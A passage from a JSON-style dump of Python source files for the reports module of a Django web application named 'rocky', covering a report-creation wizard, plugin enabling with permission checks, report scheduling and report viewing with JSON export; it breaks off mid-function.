  {
    "path": "rocky/reports/utils.py",
    "content": "import dataclasses\n\nimport structlog\nfrom django.core.serializers.json import DjangoJSONEncoder\n\nfrom octopoes.models import OOI\n\nlogger = structlog.get_logger(__name__)\n\n\ndef debug_json_keys(data: dict, path: list) -> None:\n    for key, value in data.items():\n        if not isinstance(key, str | int):\n            logger.error(\"Key %s is type %s, path is %s\", key, type(key), path)\n        if isinstance(value, dict):\n            debug_json_keys(value, path + [key])\n\n\nclass JSONEncoder(DjangoJSONEncoder):\n    def default(self, o):\n        if isinstance(o, OOI):\n            return str(o)\n        elif dataclasses.is_dataclass(o) and not isinstance(o, type):\n            # is_dataclass return True if o is a dataclass or an instance, but\n            # asdict only accept instances, so we need to add the \"not\n            # isinstance(o, type)\" to make sure o is an instance not a class.\n            return dataclasses.asdict(o)\n        else:\n            return super().default(o)\n"
  },
  {
    "path": "rocky/reports/views/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/reports/views/aggregate_report.py",
    "content": "from typing import Any\n\nfrom django.contrib import messages\nfrom django.http import HttpRequest, HttpResponse\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\nfrom httpx import HTTPError\nfrom tools.view_helpers import Breadcrumb, PostRedirect\n\nfrom reports.report_types.aggregate_organisation_report.report import AggregateOrganisationReport\nfrom reports.views.base import (\n    REPORTS_PRE_SELECTION,\n    OOISelectionView,\n    ReportBreadcrumbs,\n    ReportFinalSettingsView,\n    ReportPluginView,\n    ReportTypeSelectionView,\n    SaveReportView,\n    get_selection,\n)\nfrom reports.views.mixins import SaveAggregateReportMixin\nfrom reports.views.view_helpers import AggregateReportStepsMixin\n\n\nclass BreadcrumbsAggregateReportView(ReportBreadcrumbs):\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        breadcrumbs = super().build_breadcrumbs()\n        kwargs = self.get_kwargs()\n        selection = get_selection(self.request)\n        breadcrumbs += [\n            {\"url\": reverse(\"aggregate_report_landing\", kwargs=kwargs) + selection, \"text\": _(\"Aggregate report\")},\n            {\"url\": reverse(\"aggregate_report_select_oois\", kwargs=kwargs) + selection, \"text\": _(\"Select objects\")},\n            {\n                \"url\": reverse(\"aggregate_report_select_report_types\", kwargs=kwargs) + selection,\n                \"text\": _(\"Select report types\"),\n            },\n            {\"url\": reverse(\"aggregate_report_setup_scan\", kwargs=kwargs) + selection, \"text\": _(\"Configuration\")},\n            {\"url\": reverse(\"aggregate_report_export_setup\", kwargs=kwargs) + selection, \"text\": _(\"Export setup\")},\n            {\"url\": reverse(\"aggregate_report_save\", kwargs=kwargs) + selection, \"text\": _(\"Save report\")},\n        ]\n        return breadcrumbs\n\n\nclass LandingAggregateReportView(BreadcrumbsAggregateReportView):\n    \"\"\"\n    Landing page to start the 'Aggregate Report' flow.\n    \"\"\"\n\n    def get(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:\n        return redirect(\n            reverse(\"aggregate_report_select_oois\", kwargs=self.get_kwargs())\n            + get_selection(request, REPORTS_PRE_SELECTION)\n        )\n\n\nclass OOISelectionAggregateReportView(AggregateReportStepsMixin, BreadcrumbsAggregateReportView, OOISelectionView):\n    \"\"\"\n    Select Objects for the 'Aggregate Report' flow.\n    \"\"\"\n\n    template_name = \"generate_report/select_oois.html\"\n    breadcrumbs_step = 3\n    current_step = 1\n    report_type = AggregateOrganisationReport\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"channel\"] = \"aggregate_report\"\n        return context\n\n\nclass ReportTypesSelectionAggregateReportView(\n    AggregateReportStepsMixin, BreadcrumbsAggregateReportView, ReportTypeSelectionView, TemplateView\n):\n    \"\"\"\n    Shows all possible report types from a list of Objects.\n    Chooses report types for the 'Aggregate Report' flow.\n    \"\"\"\n\n    template_name = \"generate_report/select_report_types.html\"\n    breadcrumbs_step = 4\n    current_step = 2\n    report_type = AggregateOrganisationReport\n\n\nclass SetupScanAggregateReportView(\n    SaveAggregateReportMixin, AggregateReportStepsMixin, BreadcrumbsAggregateReportView, ReportPluginView\n):\n    \"\"\"\n    Show required and optional plugins to start scans to generate OOIs to include in report.\n    \"\"\"\n\n    template_name = \"generate_report/setup_scan.html\"\n    breadcrumbs_step = 5\n    current_step = 3\n    report_type = AggregateOrganisationReport\n\n\nclass ExportSetupAggregateReportView(\n    AggregateReportStepsMixin, BreadcrumbsAggregateReportView, ReportFinalSettingsView\n):\n    \"\"\"\n    Shows the export setup page where users can set their export preferences.\n    \"\"\"\n\n    template_name = \"generate_report/export_setup.html\"\n    breadcrumbs_step = 6\n    current_step = 4\n    report_type = AggregateOrganisationReport\n\n    def post(self, request, *args, **kwargs):\n        selected_plugins = request.POST.getlist(\"plugin\", [])\n\n        if not selected_plugins:\n            return super().post(request, *args, **kwargs)\n\n        if not self.organization_member.has_perm(\"tools.can_enable_disable_boefje\"):\n            messages.error(request, _(\"You do not have the required permissions to enable plugins.\"))\n            return PostRedirect(self.get_previous())\n\n        for selected_plugin in selected_plugins:\n            try:\n                self.katalogus_client.enable_boefje_by_id(selected_plugin)\n            except HTTPError:\n                messages.error(\n                    request,\n                    _(\"An error occurred while enabling {}. The plugin is not available.\").format(selected_plugin),\n                )\n                return self.post(request, *args, **kwargs)\n        return super().post(request, *args, **kwargs)\n\n\nclass SaveAggregateReportView(SaveAggregateReportMixin, BreadcrumbsAggregateReportView, SaveReportView):\n    \"\"\"\n    Save the report and redirect to the saved report\n    \"\"\"\n\n    template_name = \"aggregate_report.html\"\n    breadcrumbs_step = 6\n    current_step = 5\n    report_type = AggregateOrganisationReport\n"
  },
  {
    "path": "rocky/reports/views/base.py",
    "content": "import json\nfrom collections.abc import Iterable, Mapping, Sequence\nfrom datetime import datetime, timezone\nfrom operator import attrgetter\nfrom typing import Any, Literal, cast\nfrom uuid import uuid4\n\nimport structlog\nfrom account.mixins import OrganizationView\nfrom crisis_room.forms import AddReportSectionDashboardItemForm\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.forms import Form\nfrom django.http import HttpRequest, HttpResponse, JsonResponse\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.http import urlencode\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import FormView, TemplateView\nfrom django_weasyprint import WeasyTemplateResponseMixin\nfrom katalogus.client import Boefje, KATalogus, KATalogusError, Plugin\nfrom tools.ooi_helpers import create_ooi\nfrom tools.view_helpers import Breadcrumb, BreadcrumbsMixin, PostRedirect, url_with_querystring\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.reports import AssetReport, ReportRecipe\nfrom octopoes.models.ooi.reports import BaseReport as ReportOOI\nfrom octopoes.models.types import OOIType, type_by_name\nfrom reports.forms import OOITypeMultiCheckboxForReportForm, ReportScheduleStartDateForm\nfrom reports.report_types.aggregate_organisation_report.report import AggregateOrganisationReport\nfrom reports.report_types.concatenated_report.report import ConcatenatedReport\nfrom reports.report_types.definitions import AggregateReport, BaseReport, Report, report_plugins_union\nfrom reports.report_types.helpers import (\n    get_ooi_types_from_aggregate_report,\n    get_ooi_types_with_report,\n    get_report_by_id,\n    get_report_types_for_ooi_types,\n    get_report_types_for_oois,\n    get_report_types_from_aggregate_report,\n)\nfrom reports.report_types.multi_organization_report.report import MultiOrganizationReport\nfrom reports.utils import JSONEncoder, debug_json_keys\nfrom rocky.views.mixins import AddDashboardItemFormMixin, ObservedAtMixin, OOIList\nfrom rocky.views.ooi_view import BaseOOIListView, OOIFilterView\nfrom rocky.views.scheduler import SchedulerView\n\nREPORTS_PRE_SELECTION = {\"clearance_level\": [\"2\", \"3\", \"4\"], \"clearance_type\": \"declared\"}\n\n\ndef get_selection(request: HttpRequest, pre_selection: Mapping[str, str | Sequence[str]] | None = None) -> str:\n    if pre_selection is not None:\n        return \"?\" + urlencode(pre_selection, True)\n    return \"?\" + urlencode(request.GET, True)\n\n\nlogger = structlog.get_logger(__name__)\n\n\nclass ReportBreadcrumbs(OrganizationView, BreadcrumbsMixin):\n    breadcrumbs_step: int = 1\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.breadcrumbs = self.build_breadcrumbs()\n\n    def get_kwargs(self):\n        return {\"organization_code\": self.organization.code}\n\n    def is_valid_breadcrumbs(self):\n        return self.breadcrumbs_step < len(self.breadcrumbs)\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        kwargs = self.get_kwargs()\n        selection = get_selection(self.request)\n\n        return [{\"url\": reverse(\"reports\", kwargs=kwargs) + selection, \"text\": _(\"Reports\")}]\n\n    def get_breadcrumbs(self):\n        if self.is_valid_breadcrumbs():\n            return self.breadcrumbs[: self.breadcrumbs_step]\n        return self.breadcrumbs\n\n    def get_current(self):\n        return self.breadcrumbs[self.breadcrumbs_step - 1][\"url\"]\n\n    def get_previous(self):\n        if self.is_valid_breadcrumbs() and self.breadcrumbs_step >= 2:\n            return self.breadcrumbs[self.breadcrumbs_step - 2][\"url\"]\n        return self.get_current()\n\n    def get_next(self):\n        if self.is_valid_breadcrumbs():\n            return self.breadcrumbs[self.breadcrumbs_step][\"url\"]\n        return self.get_current()\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = self.get_breadcrumbs()\n        context[\"next\"] = self.get_next()\n        context[\"previous\"] = self.get_previous()\n        return context\n\n\nclass ReportsLandingView(ReportBreadcrumbs, TemplateView):\n    \"\"\"\n    Landing page for Reports.\n    \"\"\"\n\n    def get(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:\n        return redirect(reverse(\"report_history\", kwargs=self.get_kwargs()))\n\n\ndef hydrate_plugins(report_types: list[type[\"BaseReport\"]], katalogus: KATalogus) -> dict[str, list[Plugin]]:\n    plugins: dict[str, list[Plugin]] = {\"required\": [], \"optional\": []}\n    merged_plugins = report_plugins_union(report_types)\n\n    required_plugins_ids = list(merged_plugins[\"required\"])\n    optional_plugins_ids = list(merged_plugins[\"optional\"])\n\n    # avoid empty list getting all plugins from KATalogus\n    if required_plugins_ids:\n        plugins[\"required\"] = sorted(katalogus.get_plugins(ids=required_plugins_ids), key=attrgetter(\"name\"))\n    if optional_plugins_ids:\n        plugins[\"optional\"] = sorted(katalogus.get_plugins(ids=optional_plugins_ids), key=attrgetter(\"name\"))\n\n    return plugins\n\n\ndef format_plugin_data(report_type_plugins: dict[str, list[Plugin]]):\n    return [\n        {\n            \"required\": required_optional == \"required\",\n            \"enabled\": plugin.enabled,\n            \"name\": plugin.name,\n            \"scan_level\": plugin.scan_level.value if isinstance(plugin, Boefje) else 0,\n            \"type\": plugin.type,\n            \"description\": plugin.description,\n        }\n        for required_optional, plugins in report_type_plugins.items()\n        for plugin in plugins\n    ]\n\n\nclass BaseReportView(OOIFilterView, ReportBreadcrumbs):\n    \"\"\"\n    This view is the base for the report creation wizard.\n    All the necessary functions and variables needed.\n    \"\"\"\n\n    NONE_OOI_SELECTION_MESSAGE = _(\"Select at least one OOI to proceed.\")\n    NONE_REPORT_TYPE_SELECTION_MESSAGE = _(\"Select at least one report type to proceed.\")\n\n    report_type: type[BaseReport] | None = None  # Get report types from a specific report type ex. AggregateReport\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.selected_oois = self.get_ooi_pks()\n        self.selected_report_types = self.get_report_type_ids()\n\n    def get_ooi_selection(self) -> list[str]:\n        return sorted(set(self.request.POST.getlist(\"ooi\", [])))\n\n    def all_oois_selected(self) -> bool:\n        return \"all\" in self.request.GET.getlist(\"ooi\", [])\n\n    def get_ooi_pks(self) -> list[str]:\n        if self.all_oois_selected():\n            return sorted([ooi.primary_key for ooi in self.get_oois()])\n        return self.get_ooi_selection()\n\n    def get_total_oois(self):\n        return len(self.selected_oois)\n\n    def get_report_ooi_types(self) -> set[type[OOI]]:\n        if self.report_type == AggregateOrganisationReport:\n            return get_ooi_types_from_aggregate_report(AggregateOrganisationReport)\n        if self.report_type == MultiOrganizationReport:\n            return MultiOrganizationReport.input_ooi_types\n        return get_ooi_types_with_report()\n\n    def get_ooi_types(self) -> set[type[OOI]]:\n        ooi_types = self.get_report_ooi_types()\n        if self.filtered_ooi_types:\n            return {type_by_name(t) for t in self.filtered_ooi_types if type_by_name(t) in ooi_types}\n        return ooi_types\n\n    def get_oois(self) -> list[OOI]:\n        if self.all_oois_selected():\n            return self.octopoes_api_connector.list_objects(\n                self.get_ooi_types(),\n                valid_time=self.observed_at,\n                limit=OOIList.HARD_LIMIT,\n                scan_level=self.get_ooi_scan_levels(),\n                scan_profile_type=self.get_ooi_scan_profile_types(),\n            ).items\n\n        return list(\n            self.octopoes_api_connector.load_objects_bulk(\n                {Reference.from_str(x) for x in self.get_ooi_selection()}, self.observed_at\n            ).values()\n        )\n\n    def get_ooi_filter_forms(self) -> dict[str, Form]:\n        return {\n            \"ooi_type_form\": OOITypeMultiCheckboxForReportForm(\n                sorted([ooi_class.get_ooi_type() for ooi_class in self.get_report_ooi_types()]), self.request.GET\n            )\n        }\n\n    def get_report_type_ids(self) -> list[str]:\n        return sorted(set(self.request.POST.getlist(\"report_type\", [])))\n\n    def get_report_types(self) -> list[type[BaseReport]]:\n        return [get_report_by_id(report_type_id) for report_type_id in self.selected_report_types]\n\n    @staticmethod\n    def get_report_types_from_ooi_selelection(\n        report_types: set[type[BaseReport]] | set[type[Report]] | set[type[MultiOrganizationReport]],\n    ) -> list[dict[str, str]]:\n        \"\"\"\n        The report types are fetched from which ooi is selected. Shows all report types for the oois.\n        \"\"\"\n\n        return [\n            {\n                \"id\": report_type.id,\n                \"name\": report_type.name,\n                \"description\": report_type.description,\n                \"label_style\": report_type.label_style,\n            }\n            for report_type in report_types\n        ]\n\n    def get_report_types_for_generate_report(self):\n        object_selection = self.request.POST.get(\"object_selection\", \"\")\n        if object_selection == \"query\":\n            report_types = get_report_types_for_ooi_types(self.get_ooi_types())\n        else:\n            report_types = get_report_types_for_oois(self.selected_oois)\n        return self.get_report_types_from_ooi_selelection(report_types)\n\n    def get_report_types_for_aggregate_report(self) -> dict[str, list[dict[str, str]]]:\n        reports_dict = get_report_types_from_aggregate_report(AggregateOrganisationReport)\n        report_types: dict[str, list[dict[str, str]]] = {}\n\n        for option, reports in reports_dict.items():\n            report_types[option] = self.get_report_types_from_ooi_selelection(reports)\n        return report_types\n\n    def get_available_report_types(self) -> tuple[list[dict[str, str]] | dict[str, list[dict[str, str]]], int]:\n        report_types: list[dict[str, str]] | dict[str, list[dict[str, str]]] = {}\n\n        if self.report_type == AggregateOrganisationReport:\n            report_types = self.get_report_types_for_aggregate_report()\n            return report_types, len(\n                [report_type for report_type_list in report_types.values() for report_type in report_type_list]\n            )\n\n        elif self.report_type == MultiOrganizationReport:\n            report_types = self.get_report_types_from_ooi_selelection({MultiOrganizationReport})\n            return report_types, len(report_types)\n\n        report_types = self.get_report_types_for_generate_report()\n        return report_types, len(report_types)\n\n    def get_observed_at(self):\n        return self.observed_at if self.observed_at < datetime.now(timezone.utc) else datetime.now(timezone.utc)\n\n    def is_single_report(self) -> bool:\n        return len(self.get_report_type_ids()) == 1\n\n    def get_input_recipe(self):\n        object_selection = self.request.POST.get(\"object_selection\", \"\")\n        query = {}\n\n        if object_selection == \"query\":\n            query = {\n                \"ooi_types\": [t.__name__ for t in self.get_ooi_types()],\n                \"scan_level\": self.get_ooi_scan_levels(),\n                \"scan_type\": self.get_ooi_scan_profile_types(),\n                \"search_string\": self.search_string,\n                \"order_by\": self.order_by,\n                \"asc_desc\": self.sorting_order,\n            }\n\n        if not query:\n            return {\"input_oois\": self.get_ooi_pks()}\n\n        return {\"query\": query}\n\n    def create_report_recipe(\n        self, report_name_format: str, report_type: str | None, schedule: str | None\n    ) -> ReportRecipe:\n        report_recipe = ReportRecipe(\n            user_id=self.request.user.id,\n            recipe_id=uuid4(),\n            report_name_format=report_name_format,\n            input_recipe=self.get_input_recipe(),\n            report_type=report_type,\n            asset_report_types=self.get_report_type_ids(),\n            cron_expression=schedule,\n        )\n        create_ooi(\n            api_connector=self.octopoes_api_connector,\n            bytes_client=self.bytes_client,\n            ooi=report_recipe,\n            observed_at=datetime.now(timezone.utc),\n        )\n        logger.info(\"ReportRecipe created\", event_code=800091, report_recipe=report_recipe)\n        return report_recipe\n\n    def get_input_data(self) -> dict[str, Any]:\n        return {\n            \"input_data\": {\n                \"input_oois\": self.get_ooi_pks(),\n                \"report_types\": self.get_report_type_ids(),\n                \"plugins\": report_plugins_union(self.get_report_types()),\n            }\n        }\n\n    def get_initial_report_name(self) -> str:\n        return \"${report_type} for ${oois_count} objects\"\n\n    def get_parent_report_type(self):\n        if self.report_type is not None:\n            return self.report_type.id\n        return ConcatenatedReport.id\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"all_oois_selected\"] = self.all_oois_selected()\n        context[\"selected_oois\"] = self.selected_oois\n        context[\"selected_report_types\"] = self.selected_report_types\n        context[\"is_single_report\"] = self.is_single_report()\n        context[\"object_selection\"] = self.request.POST.get(\"object_selection\", \"\")\n\n        return context\n\n\nclass OOISelectionView(BaseReportView, BaseOOIListView):\n    \"\"\"\n    Shows a list of OOIs to select from and handles OOIs selection requests.\n    \"\"\"\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        object_selection = request.GET.get(\"object_selection\", \"\")\n\n        if object_selection == \"query\":\n            return PostRedirect(self.get_next())\n\n    def post(self, request, *args, **kwargs):\n        if not (self.get_ooi_selection() or self.all_oois_selected()):\n            messages.error(request, self.NONE_OOI_SELECTION_MESSAGE)\n        return self.get(request, *args, **kwargs)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context.update(self.get_ooi_filter_forms())\n        return context\n\n\nclass ReportTypeSelectionView(BaseReportView, TemplateView):\n    \"\"\"\n    Shows report types and handles selections and requests.\n    \"\"\"\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.object_selection = request.POST.get(\"object_selection\", \"\")\n        self.available_report_types, self.counted_report_types = self.get_available_report_types()\n\n    def post(self, request, *args, **kwargs):\n        if not (self.get_ooi_selection() or self.all_oois_selected()) and self.object_selection != \"query\":\n            return PostRedirect(self.get_previous())\n        return self.get(request, *args, **kwargs)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"oois\"] = self.get_oois()  # show listed oois in report type view.\n        context[\"total_oois\"] = self.get_total_oois()  # adds counter to the heading\n\n        context[\"available_report_types\"] = self.available_report_types  # shows tiles of report types\n\n        context[\"count_available_report_types\"] = self.counted_report_types  # counter next to heading\n        # especially for the CSS selector to set toggle on.\n        context[\"all_report_types_checked\"] = len(self.get_report_type_ids()) == self.counted_report_types\n\n        return context\n\n    def all_oois_selected(self) -> bool:\n        return \"all\" in self.request.POST.getlist(\"ooi\", [])\n\n\nclass ReportPluginView(BaseReportView, TemplateView):\n    \"\"\"\n    This view shows the required and optional plugins together with the summary per report type.\n    \"\"\"\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.plugins = None\n\n        try:\n            self.plugins = hydrate_plugins(self.get_report_types(), self.katalogus_client)\n        except KATalogusError as error:\n            messages.error(self.request, error.message)\n\n    def post(self, request, *args, **kwargs):\n        if self.plugins is None:\n            return PostRedirect(self.get_previous())\n\n        all_plugins_enabled = self.all_plugins_enabled()\n\n        if not self.get_report_type_ids():\n            messages.error(request, self.NONE_REPORT_TYPE_SELECTION_MESSAGE)\n            return PostRedirect(self.get_previous())\n\n        if \"return\" in self.request.POST and all_plugins_enabled:\n            return PostRedirect(self.get_previous())\n\n        if all_plugins_enabled:\n            return PostRedirect(self.get_next())\n        return self.get(request, *args, **kwargs)\n\n    def all_plugins_enabled(self) -> bool:\n        return all(self.plugins_enabled().values())\n\n    def plugins_enabled(self) -> dict[str, bool]:\n        if self.plugins is not None:\n            return {\n                \"required\": all([plugin.enabled for plugin in self.plugins[\"required\"]]),\n                \"optional\": all([plugin.enabled for plugin in self.plugins[\"optional\"]]),\n            }\n\n        return {\"required\": False, \"optional\": False}\n\n    def get_plugins_data(self):\n        report_types: dict[str, Any] = {}\n        plugin_report_types: dict[str, list] = {}\n        total_enabled_plugins = {\"required\": 0, \"optional\": 0}\n        total_available_plugins = {\"required\": 0, \"optional\": 0}\n\n        if self.plugins is not None:\n            for report_type in self.get_report_types():\n                for plugin_type in [\"required\", \"optional\"]:\n                    # Mypy doesn't infer this automatically https://github.com/python/mypy/issues/9168\n                    plugin_type = cast(Literal[\"required\", \"optional\"], plugin_type)\n                    number_of_enabled = sum(\n                        (1 if plugin.enabled and plugin.id in report_type.plugins[plugin_type] else 0)\n                        for plugin in self.plugins[plugin_type]\n                    )\n                    report_plugins = report_type.plugins[plugin_type]\n\n                    for plugin in report_plugins:\n                        if plugin not in plugin_report_types:\n                            plugin_report_types[plugin] = [\n                                {\"name\": report_type.name, \"label_style\": report_type.label_style}\n                            ]\n                        else:\n                            plugin_report_types[plugin].append(\n                                {\"name\": report_type.name, \"label_style\": report_type.label_style}\n                            )\n\n                    total_enabled_plugins[plugin_type] += number_of_enabled\n                    total_available_plugins[plugin_type] += len(report_plugins)\n\n                    if report_type.name not in report_types:\n                        report_types[report_type.name] = {}\n\n                    report_types[report_type.name][f\"number_of_enabled_{plugin_type}\"] = number_of_enabled\n                    report_types[report_type.name][f\"number_of_available_{plugin_type}\"] = len(report_plugins)\n\n            plugin_data = {\n                \"total_enabled_plugins\": total_enabled_plugins,\n                \"total_available_plugins\": total_available_plugins,\n                \"report_types\": report_types,\n                \"plugin_report_types\": plugin_report_types,\n            }\n\n            return plugin_data\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"enabled_plugins\"] = self.plugins_enabled()\n        context[\"plugin_data\"] = self.get_plugins_data()\n        context[\"plugins\"] = self.plugins\n        return context\n\n\nclass ReportFinalSettingsView(BaseReportView, SchedulerView, TemplateView):\n    report_type: type[BaseReport] | None = None\n    task_type = \"report\"\n\n    def post(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:\n        if not self.get_report_type_ids():\n            messages.error(request, self.NONE_REPORT_TYPE_SELECTION_MESSAGE)\n            return PostRedirect(self.get_previous())\n        return super().get(request, *args, **kwargs)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"report_schedule_form_start_date\"] = self.get_report_schedule_form_start_date_time_recurrence()\n        context[\"report_name_form\"] = self.get_report_name_form()\n        return context\n\n\nclass SaveReportView(BaseReportView, SchedulerView, FormView):\n    task_type = \"report\"\n    form_class = ReportScheduleStartDateForm\n\n    def form_invalid(self, form):\n        \"\"\"\n        We need to overwrite this as FormView renders invalid forms with a get request,\n        we need to adapt it using Postredirect, returning invalid form.\n        \"\"\"\n\n        return PostRedirect(self.get_current())\n\n    def form_valid(self, form):\n        start_datetime = form.cleaned_data[\"start_datetime\"]\n        recurrence = form.cleaned_data[\"recurrence\"]\n\n        schedule = (\n            self.convert_recurrence_to_cron_expressions(recurrence, start_datetime)\n            if recurrence is not None and recurrence != \"once\"\n            else None\n        )\n\n        report_type = self.get_parent_report_type()\n\n        report_name_format = self.request.POST.get(\"report_name\", \"Report\")\n\n        report_recipe = self.create_report_recipe(report_name_format, report_type, schedule)\n\n        self.create_report_schedule(report_recipe, start_datetime)\n\n        return redirect(reverse(\"scheduled_reports\", kwargs={\"organization_code\": self.organization.code}))\n\n\nclass ViewReportView(ObservedAtMixin, OrganizationView, TemplateView, AddDashboardItemFormMixin):\n    \"\"\"\n    This will display reports using report_id from reports history.\n    Will fetch Report OOI and recreate report with data saved in bytes.\n    \"\"\"\n\n    add_dashboard_item_form = AddReportSectionDashboardItemForm\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n\n        self.report_ooi = self.get_report_ooi()\n        self.report_data, self.input_oois, self.report_types, self.plugins = self.get_report_data()\n        self.recipe_ooi = self.get_recipe_ooi(self.report_ooi.report_recipe)\n\n    def post(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:\n        return self.add_to_dashboard()\n\n    def get(self, request, *args, **kwargs):\n        if \"json\" in self.request.GET and self.request.GET[\"json\"] == \"true\":\n            response = {\n                \"organization_code\": self.organization.code,\n                \"organization_name\": self.organization.name,\n                \"organization_tags\": list(self.organization.tags.all()),\n                \"data\": self.report_data,\n            }\n\n            try:\n                response = JsonResponse(response, encoder=JSONEncoder)\n            except TypeError:\n                # We can't use translated strings as keys in JSON. This\n                # debugging code makes it easy to spot where the problem is.\n                if settings.DEBUG:\n                    debug_json_keys(self.report_data, [])\n                raise\n            else:\n                response[\"Content-Disposition\"] = f\"attachment; filename=report-{self.organization.code}.json\"\n                return response\n\n        return super().get(request, *args, **kwargs)\n\n    @property\n    def custom_observed_at(self):\n        return (\n            self.observed_at.replace(hour=23, minute=59, second=59, microsecond=999999)\n            if self.observed_at < datetime.now(timezone.utc)\n            else datetime.now(timezone.utc).replace(hour=23, minute=59, second=59, microsecond=999999)\n        )\n\n    def get_report_ooi(self) -> ReportOOI:\n        if \"asset_report_id\" in self.request.GET:\n            ooi_pk = self.request.GET.get(\"asset_report_id\")\n            return self.octopoes_api_connector.get(Reference.from_str(ooi_pk), valid_time=self.custom_observed_at)\n\n        return self.octopoes_api_connector.get_report(\n            Reference.from_str(self.request.GET.get(\"report_id\")), valid_time=self.custom_observed_at\n        )\n\n    def get_recipe_ooi(self, recipe_id: str) -> ReportRecipe | None:\n        return self.octopoes_api_connector.get(Reference.from_str(recipe_id), valid_time=self.observed_at)\n\n    def get_template_names(self):\n        if self.report_ooi.report_type and issubclass(get_report_by_id(self.report_ooi.report_type), AggregateReport):\n            return [\"aggregate_report.html\"]\n        if self.report_ooi.report_type and issubclass(\n            get_report_by_id(self.report_ooi.report_type), MultiOrganizationReport\n        ):\n            return [\"multi_report.html\"]\n        return [\"generate_report.html\"]\n\n    def get_asset_reports(self) -> list[AssetReport]:\n        return [\n            report\n            for report in self.octopoes_api_connector.get_report(self.report_ooi.reference, self.observed_at).input_oois\n            if isinstance(report, AssetReport)\n        ]\n\n    def get_input_oois(self, ooi_pks: list[str]) -> list[OOIType]:\n        return list(\n            self.octopoes_api_connector.load_objects_bulk(\n                {Reference.from_str(ooi) for ooi in ooi_pks}, valid_time=self.observed_at\n            ).values()\n        )\n\n    def get_plugins(self, plugins_dict: dict[str, list[str]]) -> list[dict[str, list[Plugin]]]:\n        plugins: dict[str, list[Plugin]] = {\"required\": [], \"optional\": []}\n\n        plugin_ids_required = plugins_dict[\"required\"]\n        plugin_ids_optional = plugins_dict[\"optional\"]\n\n        katalogus_plugins = self.katalogus_client.get_plugins(ids=plugin_ids_required + plugin_ids_optional)\n        for plugin in katalogus_plugins:\n            if plugin.id in plugin_ids_required:\n                plugins[\"required\"].append(plugin)\n            if plugin.id in plugin_ids_optional:\n                plugins[\"optional\"].append(plugin)\n\n        plugins[\"required\"] = sorted(plugins[\"required\"], key=attrgetter(\"enabled\"))\n        plugins[\"optional\"] = sorted(plugins[\"optional\"], key=attrgetter(\"enabled\"), reverse=True)\n\n        return format_plugin_data(plugins)\n\n    def get_report_types(self, report_type_ids: Iterable[str]) -> list[dict[str, str]]:\n        report_types = []\n        for report_type_id in report_type_ids:\n            report_type = get_report_by_id(report_type_id)\n            report_types.append(\n                {\n                    \"name\": report_type.name,\n                    \"label_style\": report_type.label_style,\n                    \"description\": report_type.description,\n                }\n            )\n        return report_types\n\n    def get_report_data_from_bytes(self, reports: list[ReportOOI]) -> list[tuple[str, dict[str, Any]]]:\n        bytes_datas = self.bytes_client.get_raws(\n            self.organization.code, raw_ids=[report.data_raw_id for report in reports]\n        )\n        return [(x[0], json.loads(x[1])) for x in bytes_datas]\n\n    def get_report_data_single_report(\n        self,\n    ) -> tuple[\n        dict[str, dict[str, dict[str, Any]]], list[AssetReport], list[dict[str, Any]], list[dict[str, list[Plugin]]]\n    ]:\n        report_data: dict[str, Any] = self.get_report_data_from_bytes([self.report_ooi])[0][1]\n\n        report_types = self.get_report_types(report_data[\"input_data\"][\"report_types\"])\n        plugins = self.get_plugins(report_data[\"input_data\"][\"plugins\"])\n        oois = self.get_input_oois(report_data[\"input_data\"][\"input_oois\"])\n\n        report_data[self.report_ooi.report_type] = {}\n\n        for ooi in oois:\n            report_data[self.report_ooi.report_type][ooi.primary_key] = {\n                \"data\": report_data[\"report_data\"],\n                \"template\": self.report_ooi.template,\n                \"report_name\": self.report_ooi.name,\n            } | report_data[\"input_data\"]\n\n        return report_data, oois, report_types, plugins\n\n    def get_report_data_aggregate_report_or_multi_report(\n        self,\n    ) -> tuple[\n        dict[str, dict[str, dict[str, Any]]], list[AssetReport], list[dict[str, Any]], list[dict[str, list[Plugin]]]\n    ]:\n        report_data = self.get_report_data_from_bytes([self.report_ooi])[0][1]\n        report_types = self.get_report_types(report_data[\"input_data\"][\"report_types\"])\n        plugins = self.get_plugins(report_data[\"input_data\"][\"plugins\"])\n        if settings.ASSET_REPORTS:\n            oois = self.get_input_oois(list({asset_ooi.input_ooi for asset_ooi in self.report_ooi.input_oois}))\n        else:\n            oois = self.get_input_oois(list({input_ooi for input_ooi in self.report_ooi.input_oois}))\n\n        return report_data, oois, report_types, plugins\n\n    def get_report_data_concatenated_report(\n        self,\n    ) -> tuple[\n        dict[str, dict[str, dict[str, Any]]], list[AssetReport], list[dict[str, Any]], list[dict[str, list[Plugin]]]\n    ]:\n        report_data: dict[str, dict[str, dict[str, Any]]] = {}\n\n        asset_reports = self.get_asset_reports()\n        bytes_datas 